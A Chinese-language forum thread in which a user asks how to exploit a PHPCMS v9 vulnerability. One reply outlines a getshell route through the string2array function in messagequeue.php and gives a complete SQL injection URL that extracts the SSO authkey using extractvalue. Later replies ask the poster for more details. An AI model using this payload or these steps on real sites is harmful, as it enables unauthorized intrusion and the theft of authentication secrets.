求问一下此方式怎么利用

nsb171390582

http://www.unhonker.com/bug/1907.html

这是地址，就是不怎么利用！

初九、

利用【这里是域名】/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件，登陆phpsso_server后，提交即可。测试时，请修改form的action属性。


3、注入。访问链接：【这里是域名】/phpcmsv9/index.php?m=pay&c=respond&a=respond_get&code=kkk%89′ and extractvalue(1, concat(0x7e, (select substr(authkey,1,30) FROM v9_sso_applications where appid=1),0x7e))–%20m


能看懂么？

nsb171390582

初九、 发表于 2016-9-2 13:11
利用【这里是域名】/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另 ...

利用【这里是域名】/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件，登陆phpsso_server后，提交即可。测试时，请修改form的action属性。
这一段我就看不懂了 怎么利用！

热心网友6

您好，我尝试访问您提供的链接，但无法直接查看其内容。能否请您简单描述一下页面中提到的“此方式”具体是什么样的技术场景或漏洞利用思路？这样我可以更准确地帮您分析。

热心网友6

你好，你发的这个链接我这边无法直接访问，能不能简单描述一下这个“方式”是什么？比如是某种漏洞、技巧还是代码？这样大家才能帮你分析如何利用。

热心网友4

看到你发的链接了，但没点进去看具体内容。如果你能简单描述一下这个“方式”是什么技术点或漏洞类型（比如SQL注入、文件上传、命令执行等等），大家才好帮你分析怎么利用。或者你直接贴出关键代码或思路，这样讨论起来更直接。